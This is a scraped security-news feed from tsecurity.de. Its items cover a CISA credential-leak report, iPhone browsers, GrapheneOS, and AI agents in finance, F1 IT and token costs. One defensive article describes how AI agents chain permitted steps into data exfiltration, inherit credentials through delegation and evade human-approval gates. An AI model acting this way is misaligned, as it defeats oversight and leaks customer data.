https://tsecurity.de/de/3661345/it-security-nachrichten/aws-govcloud-credential-leak-prompts-cisa-to-publish-key-cyber-incident-lessons/ https://tsecurity.de/de/3661345/it-security-nachrichten/aws-govcloud-credential-leak-prompts-cisa-to-publish-key-cyber-incident-lessons/ Sat, 11 Jul 2026 08:06:35 +0200 📰 IT Security Nachrichten tsecurity.de The Cybersecurity and Infrastructure Security Agency (CISA) has publicly detailed an internal security incident involving the exposure of AWS GovCloud credentials in a public code repository, offering rare transparency into how a federal agency handles its own cybersecurity failures. The incident began on Friday, May 15, when an investigative reporter contacted CISA about internal AWS […]

    The post AWS GovCloud Credential Leak Prompts CISA to Publish Key Cyber Incident Lessons appeared first on Cyber Security News.

    ]]>         <![CDATA[CISA Details “Lessons from a Cyber Incident” After AWS GovCloud Credentials Leak]]> https://tsecurity.de/de/3661240/it-security-nachrichten/cisa-details-lessons-from-a-cyber-incident-after-aws-govcloud-credentials-leak/ https://tsecurity.de/de/3661240/it-security-nachrichten/cisa-details-lessons-from-a-cyber-incident-after-aws-govcloud-credentials-leak/ Sat, 11 Jul 2026 06:37:15 +0200 📰 IT Security Nachrichten tsecurity.de CISA has published a candid after-action account revealing that a contractor accidentally exposed the agency’s own AWS GovCloud credentials and Infrastructure-as-Code repositories in a personal, public GitHub account, triggering an internal incident response and a rare public “lessons learned” disclosure…

    Read more →

    The post CISA Details “Lessons from a Cyber Incident” After AWS GovCloud Credentials Leak appeared first on IT Security News.

    ]]>         <![CDATA[CISA Details “Lessons from a Cyber Incident” After AWS GovCloud Credentials Leak]]> https://tsecurity.de/de/3661209/it-security-nachrichten/cisa-details-lessons-from-a-cyber-incident-after-aws-govcloud-credentials-leak/ https://tsecurity.de/de/3661209/it-security-nachrichten/cisa-details-lessons-from-a-cyber-incident-after-aws-govcloud-credentials-leak/ Sat, 11 Jul 2026 06:06:39 +0200 📰 IT Security Nachrichten tsecurity.de CISA has published a candid after-action account revealing that a contractor accidentally exposed the agency’s own AWS GovCloud credentials and Infrastructure-as-Code repositories in a personal, public GitHub account, triggering an internal incident response and a rare public “lessons learned” disclosure from the federal cybersecurity agency itself. On Friday, May 15, CISA’s incident response began after […]

    The post CISA Details “Lessons from a Cyber Incident” After AWS GovCloud Credentials Leak appeared first on Cyber Security News.

    ]]>         <![CDATA[iPhone-Browser: Die 12 besten Safari-Alternativen]]> https://tsecurity.de/de/3661205/it-security-nachrichten/iphone-browser-die-12-besten-safari-alternativen/ https://tsecurity.de/de/3661205/it-security-nachrichten/iphone-browser-die-12-besten-safari-alternativen/ Sat, 11 Jul 2026 06:06:34 +0200 📰 IT Security Nachrichten tsecurity.de
    Kein Safari-Fan? Kein Problem. iPhone-Nutzern stehen mehr Optionen in Sachen Browsing offen.

    Kein Safari-Fan? Kein Problem. iPhone-Nutzern stehen mehr Optionen in Sachen Browsing offen.

    Foto: Camilo Concha – shutterstock.com

    Seit der VerÜffentlichung von iOS 14 im Jahr 2020 erlaubt Apple es iPhone-Nutzern, einen anderen Standardbrowser als Safari festzulegen. Bevor Sie nun jedoch einfach die nächstbeste App installieren, die nicht Safari ist: Es lohnt sich, die vorhandenen Angebote vorab zu testen, um herauszufinden, welches am besten auf Ihre Bedßrfnisse passt.

    Dabei ist erwähnenswert, dass Apple Entwickler dazu verpflichtet, fßr alle Browser dieselbe WebKit-Rendering-Engine wie fßr Safari zu verwenden. Im Grunde sind also sämtliche iOS-Browser WebKit mit einer jeweils anderen Hßlle.

    Die 12 besten iPhone-Browser, die nicht Safari sind

    Trotzdem haben die folgenden zwÜlf Browser fßr iPhone alternative oder umfangreichere (Business-)Funktionen und Oberflächen zu bieten.

    Aloha Browser

    Aloha ist ein funktionsreicher mobiler Browser, der hawaiianisches Flair versprĂźht. DarĂźber hinaus bietet Aloha Datenschutzfunktionen wie:

    • Werbeblocker,

    • private Tabs,

    • eine Krypto-Wallet,

    • einen internen Dateimanager fĂźr Downloads, Medien und Dokumente,

    • geräteĂźbergreifende Synchronisierung sowie

    • VPN.

    Ein Premium-Abonnement (26 Euro pro Jahr) ermĂśglicht erweiterte VPN-Funktionen und auch, den gesamten Datenverkehrs von Ihrem iPhone zu verschlĂźsseln, statt nur innerhalb des Aloha-Browsers.

    Chrome

    Googles Chrome ist wahrscheinlich der populärste Browser für Mobilgeräte überhaupt – was in erster Linie der Android-Dominanz auf dem weltweiten Smartphone-Markt geschuldet ist.

    Wenn Sie den Chrome-Desktop-Browser verwenden, können Sie Lesezeichen und zuletzt besuchte Websites über Ihr Google-Konto synchronisieren und so die Handoff-Funktion von Safari nachahmen. Außerdem gibt es einen One-Touch-Zugang zu Google Translate, eine Sprachsuche mit Google Assistant anstelle von Siri und einen praktischen QR-Code-Scanner über der virtuellen Tastatur. Der Inkognito-Modus von Chrome sendet keine Cookies und speichert keinen Browserverlauf.

    Dolphin Browser

    Dieser mobile Browser bringt zahlreiche Funktionen mit. Unter anderem kĂśnnen Sie mit Dolphin per Gesten- und Sprachsteuerung surfen oder Registerkarten mit nur einem Fingertipp sharen.

    DarĂźber hinaus bietet der Dolphin Browser auch Werbe- und Tracking-Blocker sowie ein nĂźtzliches SchnellmenĂź, Ăźber das die zahlreichen Funktionen schnell und einfach erreichbar sind.

    DuckDuckGo Private Browser

    Wie bei der Suchmaschine liegt der Fokus beim Browser von DuckDuckGo auf dem Schutz der Privatsphäre. Für Sie heißt das: Sie können surfen, ohne getrackt zu werden.

    Eine Schaltfläche mit einem “Feuer”-Symbol sorgt dafür, dass Sie sämtliche Registerkarten und Surf-Daten mit nur einem Tastendruck löschen können (und sogar eine Animation ihrer Wahl dazu auswählen können). Ebenfalls eine nennenswerte Funktion: Sie können Webseiten als “fireproof” kennzeichnen. Dann werden Cookies für Anmeldung, Warenkorb, etc. gesetzt – die Tracking-Versuche von Drittanbietern bleiben dennoch wirkungslos.

    Edge

    Microsoft Edge synchronisiert Favoriten und Kennwörter zwischen all Ihren Geräten (die mit den Cloud-Servern von Microsoft verbunden sind). Mit dem Befehl “An alle Geräte senden” können Sie eine Registerkarte von Ihrem iPhone an andere verbundene Geräte senden. Edge bietet außerdem:

    • generative KI-Funktionen mit Bing Chat!,

    • Sprachbasierte Suchen,

    • Tracking- und Werbeblocker,

    • InPrivate-Tabs, die keine Browsing-Daten speichern und

    • die MĂśglichkeit, sowohl private als auch geschäftliche Microsoft-Konten zu nutzen.

    Firefox

    Mozillas Firefox auf dem iPhone zu nutzen, empfiehlt sich, wenn Sie den Browser bereits mit anderen Geräten verwenden. Dann werden Lesezeichen, KennwÜrter und andere Informationen automatisch synchronisiert.

    Die modifizierbare Startseite enthält unter anderem Verknüpfungen zu zuletzt besuchten Webseiten. Firefox für iOS verfügt außerdem über die gleiche Anti-Ad-Tracking-Technologie wie die Desktop-Version.

    Firefox Klar

    Neben dem “normalen” Firefox bietet Mozilla auch eine schlanke, ablenkungsfreie Option namens Firefox Klar an. Wenn Sie sich leicht ablenken lassen, unter ADHS leiden oder einfach nur ein wenig Hilfe brauchen, um bei der Sache zu bleiben, empfiehlt sich diese Option als Alternative (oder Ergänzung) zu Apples Fokus-Modi, die in iOS integriert sind.

    Firefox Klar blockiert standardmäßig Werbung und Tracker, und Sie können Ihren Browserverlauf, Ihre Kennwörter und Cookies mit einem einzigen Tipp auf das allgegenwärtige Mülleimer-Symbol löschen.

    Onion Browser

    Der ursprßngliche Tor-Browser fßr den Desktop wurde vom Tor-Projekt entwickelt und nutzt das gleichnamige Netzwerk, um Ihre Identität und Ihre Online-Aktivitäten zu verschleiern. Das macht Tor so gut wie kein anderer Browser. Allerdings gilt es dabei zu beachten, dass die Weiterleitung des Datenverkehrs durch Tor das Surferlebnis verlangsamt und auch viele Webseiten nicht richtig funktionieren. Ottonormal-User brauchen den Tor-Browser in der Regel nicht.

    Das eingangs genannte WebKit-“Problem” verhindert einen ähnlich umfassenden Schutz der Privatsphäre, wie sie die Desktop-Version bietet. Erfahrene Tor-Benutzer wissen, wie sie den Browser richtig konfigurieren. Neueinsteiger haben es dank eines dreistufigen Sicherheitskonzepts einfach.

    Opera

    Der Opera-Mobilbrowser wurde ursprĂźnglich entwickelt, um den Datenverbrauch zu senken und dafĂźr zu sorgen, Webseiten auf Low-End- und Budget-Smartphones schneller zu laden. Dennoch kĂśnnen auch iPhone-Nutzer von seiner Geschwindigkeit und Effizienz profitieren.

    Neben der Komprimierungsfunktion, die einen von Opera betriebenen Web-Proxy nutzt, enthält der Browser auch:

    • Generative-AI-Funktionen mit der Browser-KI Aria,

    • einen Werbeblocker,

    • eine Krypto-Wallet und

    • ein VPN.

    Letztgenanntes Feature ist eher rudimentär ausgestaltet, verschlßsselt nur den Datenverkehr innerhalb von Opera und ist auf drei allgemeine Regionen beschränkt (Europa, Amerika und Asien).

    Orion Browser

    Auf den ersten Blick wirkt Orion wie ein sehr simpler Browser mit typischem Funktionsumfang. Ein Blick in die Einstellungen zeigt jedoch, dass es bei Orion mehr zu entdecken gibt. Darunter beispielsweise verschiedene Modi, die Ihnen dabei helfen, sich zu konzentrieren, Ihre Datennutzung zu optimieren und Ihren Akku zu schonen.

    Darßber hinaus blockiert Orion auch Werbung und Tracker und unterstßtzt die Synchronisierung von Inhalten zwischen mehreren Geräten. Zudem lässt sich der Browser zusätzlich mit Face- beziehungsweise Touch ID oder Passcode absichern.

    SuchkĂśnig-Multi-Engine Browser

    Bei diesem Browser ist der Name Programm: Er wurde entwickelt, um parallel auf diversen Plattformen nach Inhalten zu suchen. Dazu kÜnnen Sie aus mehr als 50 verschiedenen Websites wählen, darunter:

    • Suchmaschinen,

    • Online-Shops,

    • Videoplattformen,

    • Bild-Repositories,

    • Wiki-Sites,

    • etliche soziale Netzwerke und

    • sogar Comic-Bibliotheken.

    Die jeweiligen Ergebnisse erhalten Sie in separaten Registerkarten. Die Möglichkeit, so viele Dienste und Plattformen parallel zu durchsuchen, kann unglaublich nützlich sein – etwa für die Recherche zu bestimmten Themen oder auch zu Preisvergleichszwecken.

    SPIN Safe Browser

    Der Fokus von SPIN Safe Browser liegt – wie der Name nahelegt – darauf, sicheres Surfen zu ermöglichen. Zusätzlich zu den Datenschutz-Funktionen bietet der mobile Browser auch die Möglichkeit, bestimmte (fragwürdige) Inhalte oder Bilder zu filtern.

    Was SPIN von den anderen Safari-Alternativen in dieser Auflistung abhebt: Die Entwickler wollen mit ihrem Offering gezielt den Bildungs- und Enterprise-Markt adressieren. Dazu stellen Sie auch eine 20 Dollar teure Version des Browsers zur VerfĂźgung, der Ăźber AppConfig-kompatible MDM-Plattformen angepasst werden kann. IT-Abteilungen kĂśnnen den Browser also bereitstellen und verfĂźgen Ăźber umfassende Management- und KontrollmĂśglichkeiten. (fm)

    Dieser Artikel ist im Original bei unserer Schwesterpublikation Computerworld.com erschienen.

    ]]>         <![CDATA[GrapheneOS for Beginners with Sean Verity]]> https://tsecurity.de/de/3660850/it-security-video/grapheneos-for-beginners-with-sean-verity/ https://tsecurity.de/de/3660850/it-security-video/grapheneos-for-beginners-with-sean-verity/ Fri, 10 Jul 2026 23:33:03 +0200 🎥 IT Security Video tsecurity.de Author: Black Hills Information Security - Bewertung: 0x - Views:0

    🔗 Register for FREE Infosec Webcasts, Anti-casts & Summits –
    https://poweredbybhis.com

    Curious about GrapheneOS? Wondering if it’s right for you?

    Join us for a free, one-hour live webcast introducing GrapheneOS, the security- and privacy-focused Android operating system. Sean Verity, Security Consultant at Black Hills Information Security (BHIS) will guide you through some of its core features, and will share real-world lessons learned as someone who's been using GrapheneOS as a daily driver for more than four years! You'll still be able to send and receive messages, your battery life won't plummet, and most (if not all) of your apps will still run!

    What You’ll Learn:

    - Why GrapheneOS is considered one of the most secure Android operating systems available
    - How GrapheneOS balances privacy, security, and everyday usability
    - Why your favorite apps—including many Google Play apps—can still work
    - How sandboxed Google Play services work and the privacy trade-offs to consider
    - What you'll need to get started with GrapheneOS for around $200

    GrapheneOS currently supports Google Pixel 6 and newer devices.

    Chat with your fellow attendees in the Black Hills Infosec Discord server:
    https://discord.gg/BHIS
    in the #🔴live-event-chat channel.

    ]]>         <![CDATA[Introducing Conky Bubbles (osc26)]]> https://tsecurity.de/de/3660477/it-security-video/introducing-conky-bubbles-osc26/ https://tsecurity.de/de/3660477/it-security-video/introducing-conky-bubbles-osc26/ Fri, 10 Jul 2026 19:24:30 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Introducing Conky Bubbles (osc26)]]> https://tsecurity.de/de/3660449/it-security-video/introducing-conky-bubbles-osc26/ https://tsecurity.de/de/3660449/it-security-video/introducing-conky-bubbles-osc26/ Fri, 10 Jul 2026 19:04:47 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Accelerating financial closes with help from AI agents: A pragmatic guide]]> https://tsecurity.de/de/3659462/it-nachrichten/accelerating-financial-closes-with-help-from-ai-agents-a-pragmatic-guide/ https://tsecurity.de/de/3659462/it-nachrichten/accelerating-financial-closes-with-help-from-ai-agents-a-pragmatic-guide/ Fri, 10 Jul 2026 13:03:04 +0200 📰 IT Nachrichten tsecurity.de

    Historically, financial closes required were tedious, manual-intensive processes, which makes them excellent candidates for agentification. AI agents can handle much of the “dirty work” associated with integrating financial data from various sources, reconciling transactions and so on. That said, there are limits on how far AI agents can go in streamlining and accelerating the closing process. It’s unrealistic for businesses to remove humans from the picture entirely.

    With this caveat in mind, here’s a look at practical approaches to driving more efficient financial closings with help from AI agents. To ground the conversation, I’ll focus on what the process might look like within environments based on SAP, although many of these lessons apply to any organization and tech stack.

    How AI agents can accelerate financial closes

    Although ERP systems like SAP house most or all of an organization’s financial data within a central system, closing out the books still tends to be a highly complex process, hampered by challenges like the following:

    • Master Data reconciliation
    • Working through huge volumes of journaling
    • Identifying and resolving transaction reconciliation errors
    • Ensuring compliance with governance and regulatory requirements

    These are all areas where AI agents can help, even if SAP’s Advanced Financial Closing is used. For example, instead of requiring humans to assess each irregular transaction manually, businesses can employ agents to review the situation and suggest a resolution. Agents also excel at tasks like integrating multiple data sources, then identifying and addressing redundancies or inconsistencies across them.

    Similarly, agents can continuously monitor financial workflows throughout the close cycle, flagging anomalies and potential bottlenecks before they delay reporting deadlines. They can automatically collect supporting documentation, validate data against predefined business rules and route exceptions to the appropriate stakeholders for review.

    By reducing the amount of repetitive manual work required during closing, AI agents help finance teams focus on higher-value analysis and decision-making. This can lead to faster close times, improved accuracy and greater confidence in the integrity of financial reporting.

    The limitations of agents for closing the books

    That said, agents can’t handle every aspect of the closing process entirely on their own. Two key limitations apply. The first is that, as with any LLM-powered technology, agents are at risk of making inaccurate decisions or inferences. Businesses can’t blindly trust agents to interpret financial data accurately all of the time. A second factor is that, due to strict regulatory requirements, it’s essential in most cases for humans to sign off on financial accounts. Telling regulators or auditors that you know your books are accurate because an AI agent told you so is not a recipe for compliance success.

    Because of these limitations, a healthy perspective on AI agents in financial closing contexts is to think of them as a way to improve visibility, agility and efficiency, not as a replacement for people. Agents can make recommendations, but humans need to be the ones who review, validate and sign off on any actions before they are final.

    Integrating AI agents into the closing process in SAP

    How can organizations actually take advantage of AI agents to help with closing?

    The answer is complicated because every business’s books and closing process are different. This means that, despite the growing inventory of AI agents now available on platforms like SAP, it’s unrealistic to expect to “drag and drop” agents into existing closing workflows and have them do what they need.

    Instead, many businesses will find that they need to build custom agentic solutions. Often, they’ll benefit from implementing multiple agents targeted at different tasks, e.g., accounts receivable, accounts payable and foreign currency exchanges, along with an orchestrator agent that oversees them all. Each agent will need to be tailored for the organization’s data sources, governance and compliance obligations, etc.

    In addition, organizations must carefully define how agents interact with financial systems and employees. While some activities can be automated end-to-end, others require human review and approval to satisfy internal controls and regulatory requirements. Establishing clear workflows, escalation paths and audit trails is essential to ensure that agent-driven processes remain transparent and trustworthy. Organizations also need to invest in testing and validation to confirm that agents produce accurate results and can handle exceptions without introducing new risks into the close process.

    The fact that SAP itself is a complex platform, with native agentic capabilities fully supported only in the latest versions, further complicates the agentification of the closing process. Enterprises need to assess the agentic support level available within the SAP version they use, then determine the extent to which they can leverage SAP’s own agents versus working with third-party agents.

    Another key consideration is data quality. AI agents can only perform effectively when they have access to complete, accurate and timely financial information. Organizations may need to improve data governance practices and address integration challenges before agents can deliver meaningful value. The extent to which they can do this easily depends, in large part, on how healthy their underlying SAP data governance practices are.

    All of the above means that taking advantage of agents to accelerate closes and other financial workflows within SAP is no mean feat. It requires deep technical expertise in both agentic technology and the complex SAP software portfolio. But the investment is worth it for organizations seeking to reduce the uncertainty and slowness traditionally associated with closing the books. Over time, well-designed agentic workflows can help finance teams spend less time on manual reconciliation and exception handling while enabling faster, more predictable financial close cycles.

    This article is published as part of the Foundry Expert Contributor Network.
    Want to join?

    ]]>         <![CDATA[How a Formula 1 IT director balances innovation and stability at 200 mph]]> https://tsecurity.de/de/3659354/it-security-nachrichten/how-a-formula-1-it-director-balances-innovation-and-stability-at-200-mph/ https://tsecurity.de/de/3659354/it-security-nachrichten/how-a-formula-1-it-director-balances-innovation-and-stability-at-200-mph/ Fri, 10 Jul 2026 12:08:52 +0200 📰 IT Security Nachrichten tsecurity.de

    Michael Taylor has spent 25 seasons with the Mercedes-AMG Petronas F1 team, working every IT role from trackside support to engineering systems to business transformation. Today, as IT director, he leads an 18-person team responsible for one of the most data-intensive operations in the world.

    When a car rolls out of the garage, it carries 300 sensors. When it’s running, it generates more than a million data points per second. Every component, system, and lap produces telemetry that engineers use to find fractions of a second — the difference between winning and losing.

    “Formula One has been data-centric for many years,” Taylor says. “The key metric in our sport is the stopwatch, and that’s been true since the World Championship began in the 1950s. But now we instrument everything. If you measure it, you can improve it.”

    The challenge isn’t collecting data — Formula One has been streaming live telemetry since the 1980s. It’s making decisions at speed while maintaining the governance that keeps a complex, high-stakes operation running.

    For CIOs navigating the pressure to move fast on AI while managing risk, security, and data quality, Taylor’s hard-won lessons from the pit lane offer a useful framework: how to balance speed and control, when to keep humans in the loop, and why “good enough” governance beats perfect governance that never ships.

    Innovation vs. stability: ‘A constant battle’

    In most enterprises, the tension between innovation and control plays out over quarters or years. In F1, it happens weekly.

    “It’s really tough,” Taylor admits. “And something we don’t always get right. This is where we rely on people. Industry experience is really important when making decisions around change.”

    The team operates in two distinct modes. Between races, they’re at the factory in Brackley, UK. The site, which is headquarters for the design, manufacturing, and operation of their championship-winning Formula One cars, includes a 60,000-square-meter technology campus. It’s all project and program management, with room for experimentation. But as race weekend approaches, everything shifts to execution.

    “We have that kind of normal mode when we’re not racing. We’re back at the factory designing and building and improving,” Taylor explains. “But as we get closer to race weekend, we switch to executing that in the most effective way. We have to not make changes that will impact engineers.”

    This duality shapes every technology decision. The same agility that drives innovation during the week must yield to stability when results are on the line. Taylor calls it a “constant battle.”

    Modernizing at racing speed

    Mercedes-AMG Petronas had run SAP since 1999. The platform underpins the team’s entire design-to-track process — from design release through planning, procurement, manufacturing, testing, and development, all the way to reassembling the car trackside.

    “All of those steps are core processes,” Taylor says.

    So, when it came time to modernize, the team approached it like a pit stop: planned to the second, executed with precision. They chose RISE with SAP — the vendor’s bundled cloud ERP and migration package — agreeing to the journey in December 2024 and targeting a go-live in August 2025, aligned with the sport’s mandatory two-week shutdown.

    “It’s the perfect window to make changes,” Taylor says. “We have to plan everything to perfection so it goes smoothly when we start racing again.”

    They finished eight weeks ahead of schedule.

    “We are control freaks because of the sport and its time-bound nature,” Taylor says. His team prefers to own and manage systems in-house rather than rely on large systems integrators who “dip their toes in and disappear,” Taylor says. With just 18 people on the IT team, they tap SAP’s expertise for specific problems, then take back the reins. “Once done, we continue to own and manage,” Taylor explains, “and SAP does what they do best.”

    The secure path must be the easiest path

    Intellectual property in F1 racing has a short shelf life. Once a new component is on the car and photographed in the pit lane, competitors can see it. But that doesn’t diminish the value of what’s behind it.

    “The real advantage is not just the part,” Taylor says. “It’s the thinking, the modeling, the simulation, the failure modes, the trade-offs, and the development direction behind it.”

    Protecting that requires an offensive security posture. Taylor’s head of information security reports directly to him, and the team actively probes its own defenses.

    “Act like, think like, work like a hacker,” Taylor says. “We’re thinking about how we can counter threats without impact on end-users.”

    In an engineering-permissive culture where people are empowered to move fast, heavy-handed security backfires. Taylor learned early that perfection is the enemy of progress.

    “If security gets in the way of the business, the business will find ways to work around it,” he says. “The job is not to slow the organization down; it’s to make the secure path the easiest path.”

    Humans in the loop

    With AI evolving weekly, Taylor’s team is running pilots across the organization: machine learning for simulation, agentic workflows in production planning, copilots helping developers write code. But he’s resisting the urge to rush.

    “We’re still finding our way,” he says. “There’s no one-size-fits-all. We’re playing with everything available, but in six to ten months we’ll make decisions about what to scale.”

    Despite the hype around autonomous AI, Taylor remains committed to human oversight.

    “I’m still very much ‘humans should be in the loop,’” he says. “When our workforce is harmonized with AI, that’s where we’ll see real benefit — where it complements our people.”

    AI has also raised the bar for data governance. “Good enough now includes stronger visibility, cleaner permissions, and clearer ownership,” Taylor says. “You have to be more deliberate about what data AI is allowed to access.”

    Start with consequence

    Taylor’s advice to CIOs in other industries wrestling with similar questions is deceptively simple: “Start with consequence, not technology.”

    In financial services, it might be customer harm or a regulatory breach. In healthcare, patient safety or loss of public trust. In F1, the consequence of a security failure is loss of competitive advantage.

    “Once you understand the consequence, you can decide what needs the strongest control, what needs monitoring, what needs retention, and what simply needs better hygiene,” Taylor says.

    It’s a lesson learned over 25 seasons at the edge of what’s technically possible — where decisions happen in milliseconds, and the margin between success and failure is measured in fractions of a second.

    ]]>         <![CDATA[Your next insider threat doesn’t have a badge. It has an API token]]> https://tsecurity.de/de/3659328/it-nachrichten/your-next-insider-threat-doesnt-have-a-badge-it-has-an-api-token/ https://tsecurity.de/de/3659328/it-nachrichten/your-next-insider-threat-doesnt-have-a-badge-it-has-an-api-token/ Fri, 10 Jul 2026 12:03:21 +0200 📰 IT Nachrichten tsecurity.de

    The threat that I now spend most of my time designing against doesn’t look like a breach at all. At least not at first.

    Imagine a team deploys an agent that does exactly what it’s permitted to do: it reads a customer record, summarizes it, then sends the summary to an outside address. Every step in the sequence is authorized. But it turns out that the breach is the sequence itself.

    The problem is that each security check only looks at one step at a time. Is this read okay? Yes. Is this summary okay? Yes. Is this email okay? Yes. Each step passes. But nobody is watching the combination of all three steps together. The security tools designed for human-driven workflows assumed a person would be doing this manually, one thing at a time. However, the AI agent bundles it all into a single automated sequence, and that bundling slips through gaps between the checks.

    I build authorization for agentic systems, and the gap between “every action was allowed” and “the outcome was a breach” is what I keep coming back to.

    An agent is not a user or a file. It is an insider authorized with an API token instead of a badge to act on your behalf. We learned decades ago that perimeters don’t secure against insiders. But in the design reviews I’ve sat in this year, the security conversation still centers on prompt injection and output filtering. That’s one layer below where the exposure has moved.

    Two decades of asking the wrong two questions

    We spent 20 years getting very good at two questions:

    • Who is allowed in?
    • What data is allowed out?

    Identity and access management answered the first question. Data loss prevention the second. Both assume a world of users and files—a human you authenticate at the door and a document you inspect on the way out. But production AI agents make both questions obsolete.

    An agent is an actor. It reads context, chains tool calls, invokes connectors and changes systems of record, then hands work to other agents as it goes. The danger isn’t that it does one clearly forbidden thing; it’s that it does a series of small, permitted things that add up to something harmful. And because each individual action looks fine, the standard security tools don’t flag anything. It’s the same reason an employee with legitimate access is harder to catch than an outside hacker.

    This is a known failure mode in IT security, sometimes called the confused deputy problem: a program with legitimate authority gets manipulated into misusing it on someone else’s behalf. Now, AI agents have given it initiative. An agent is a confused deputy that doesn’t just hold authority but plans with it. The OWASP community ranks excessive agency—an agent operating with broader capability than its task requires—among the top risks for large language model applications.

    The four ways agent authority goes wrong

    When I threat-model an agent before it ships, four failure modes do most of the damage, and the governance conversation most teams are having addresses none of them.

    1. Tool-chain abuse. Each tool call is safe on its own, but the chain composes into something no one authorized. The pattern is mundane: an agent permitted to read records, call a summarizer and send mail turns those three benign capabilities into a clean exfiltration path. Content filtering inspects each step and waves all of them through, because no single step is prohibited.
    1. Delegation-chain exploitation. An agent hands a subtask to another agent, and the child ends up with authority it was never meant to have. The mechanism is simple: the parent passes the child a copy of its own credentials, so the child can now do everything the parent can. Most orchestration frameworks pass parent context down by default because they assume the child is trusted. That’s a framework default, not a security decision.
    1. Approval evasion. A human-in-the-loop gate is supposed to catch the consequential action, but the agent reaches the same outcome by a path the rule didn’t anticipate. This isn’t agents being clever; it’s policies written for human workflows. A gate that checks “summarizing customer records” is blind to an agent reaching the same data by another tool path. In other words, it guards the actions humans take, not the outcome it was meant to protect.
    1. The first three are how the breach happens. The fourth is why it becomes a crisis: audit opacity. Even after you discover something went wrong, you can’t piece together the full picture: what exactly the agent did, who authorized it to do those things or whether it went beyond what it was supposed to do. The logs simply show that reads and sends happened. Only in the post-incident review do teams discover their logs were written for debugging, not for proof.

    Move the decision to runtime

    When these failure modes surface, the instinct is to add another detection layer, such as a better filter or a smarter classifier watching the output. That instinct is wrong. You can’t inspect your way out of a problem of authority. The answer is a runtime policy engine that governs what an agent is allowed to do at the moment it acts.

    The concept isn’t new; it’s zero trust, applied inward. We spent years pushing zero trust outward to the perimeter for people and devices. Every request is authenticated and authorized in context, decided centrally rather than assumed at the edge. Agents move the object of that decision inward, from who are you at the door to what will you do in the next call.

    A runtime policy engine makes that concrete. It evaluates which tool is being called, which data is being touched and what the downstream effect will be.

    Three properties make it real:

    1. Decide before the action fires. Evaluate the agent’s intended action against policy and live context at call time, not afterward in a log review. A policy that isn’t evaluated at the moment of action isn’t a control.
    1. Make delegated authority shrink. Authority should only narrow as it passes from agent to agent, never widen. That way, a compromised agent can’t exceed the narrowest link in its chain, and stopping a parent leaves no orphaned authority downstream. Capability can still be re-requested; a child can ask its parent to escalate, but that escalation is evaluated and logged at call time, not baked into a token handed over once.
    1. Build audit as evidence, not logs. Evidence means a record that ties each action to the policy that authorized it—principal, tool called, inputs, the rule evaluated, the decision and a timestamp—in append-only or signed storage so it can’t be quietly rewritten. It lets a regulator or a board reconstruct who acted, on whose authority and whether that authority was exceeded, instead of relying on a forensic reconstruction weeks later. Most deployments skip this because it’s infrastructure work, not policy work.

    One implementation caveat: Evaluating every action at runtime adds latency and demands live policy context. Some friction is unavoidable, so the question is where you add it. Focus on the actions where a mistake is hardest to reverse: Anything touching customer data, financial systems or infrastructure.

    The three questions I ask before every deployment

    When a team brings me an agent bound for a real system of record, I’ve stopped asking which model it uses. I ask three things instead:

    1. Can every action resolve to a human source of authority, captured at runtime?
    1. Does the agent’s authority shrink as it delegates, or can a subagent do more than its parent?
    1. If this agent did something wrong tomorrow, could we prove what it did? (Not describe it. Prove it.)

    The autonomy that makes AI agents so valuable also makes legacy controls insufficient. You can’t add autonomous agents to your existing processes and expect last year’s controls to cover them. When an agentic breach happens, the question the board asks won’t be, “What leaked?” It will be, “What was your agent allowed to do, and can you prove it?”

    Get ahead of it before the board has to ask.

    This article is published as part of the Foundry Expert Contributor Network.
    Want to join?

    ]]>         <![CDATA[Relearning cloud lessons from runaway AI token costs]]> https://tsecurity.de/de/3659187/ai-nachrichten/relearning-cloud-lessons-from-runaway-ai-token-costs/ https://tsecurity.de/de/3659187/ai-nachrichten/relearning-cloud-lessons-from-runaway-ai-token-costs/ Fri, 10 Jul 2026 11:03:11 +0200 🔧 AI Nachrichten tsecurity.de

    Every few years, some new technology comes along that promises to revolutionize how we do business, and enterprises pile in headfirst without asking how much it’s going to cost. I’ve been watching this movie for 30 years. Cloud computing was the first act. Now it’s generative AI, and the bill is arriving faster than anyone expected.

    The latest data shows that many enterprises are seeing their AI token costs run 10 to 20 times higher than initial projections. That’s not a rounding error. That’s a strategic miscalculation that CFOs are starting to notice, and they’re not happy about it.

    Here’s the thing: This crisis was entirely predictable. We’ve been through this before with cloud computing, and we learned some hard lessons about what happens when you deploy technology without rigorous cost management. The good news is that enterprises are finally applying those lessons, reaching back to their cloud finops playbooks to wrangle this new breed of spending.

    The 50x problem

    Let me explain the scale of what’s happening. Goldman Sachs has estimated that AI agents consume roughly 50 times more computing power per task than traditional prompt-based chatbots. That’s a fundamental shift in how resources get consumed. When you multiply that across an enterprise that’s deploying dozens or hundreds of AI agents, the math gets ugly fast.

    The token problem compounds because AI costs are inherently variable. Unlike traditional software licensing or infrastructure contracts, you pay per token, and per-token usage can fluctuate wildly based on user behavior, query complexity, and the sheer volume of requests flowing through these systems. This is exactly the same problem we faced with cloud computing. Every time someone spins up a new instance or stores data in the wrong tier, the bill goes up.

    Enterprises expected to deploy AI and see costs stabilize. Instead, costs are climbing month after month, often exceeding projections by an order of magnitude. The business case that looked compelling in the conference room is looking considerably less attractive in the finance committee.

    Lessons from the cloud playbook

    Here’s where it gets interesting. Cloud providers and the managed service providers who work with them have spent the better part of two decades building disciplines around financial operations—finops, if you want to use the buzzword. These are the practices, tools, and organizational structures that make cloud spending visible, controllable, and ultimately justifiable to the business.

    Those same disciplines are now being applied to AI token costs, and enterprises with mature finops programs are faring better than those without. The playbook is essentially the same:

    • Make spending visible.
    • Attribute costs to the right teams.
    • Set guardrails and alerts.
    • Create feedback loops that encourage efficient behavior.

    Companies like Priceline have deployed dashboards that provide executives with real-time visibility into token consumption, with monthly reports delivered directly to the CFO and CTO. Smartsheet has implemented similar approaches, providing department-level dashboards that let managers see exactly how their teams are consuming tokens, with automated alerts when consumption approaches predefined thresholds.

    The accountability piece is critical. When developers and business users can see exactly how their AI usage translates to dollars, they tend to make better decisions about which models to use, how to structure prompts, and when to rely on human judgment instead of AI processing.

    The show-back revolution

    One of the most effective techniques emerging from this crisis is the “show back” approach to AI cost management. Rather than simply reporting costs to individual departments, companies are now attributing AI spending to the teams and individuals responsible for driving that consumption. This creates accountability without the organizational complexity of full chargeback models.

    OpenText has reported that implementing show-back and chargeback approaches can reduce token costs by 20% to 30% within a few months. That’s not trivial. If you’re spending $5 million a month on AI tokens, that’s a $1.5 million savings just by making people aware of what they’re spending.

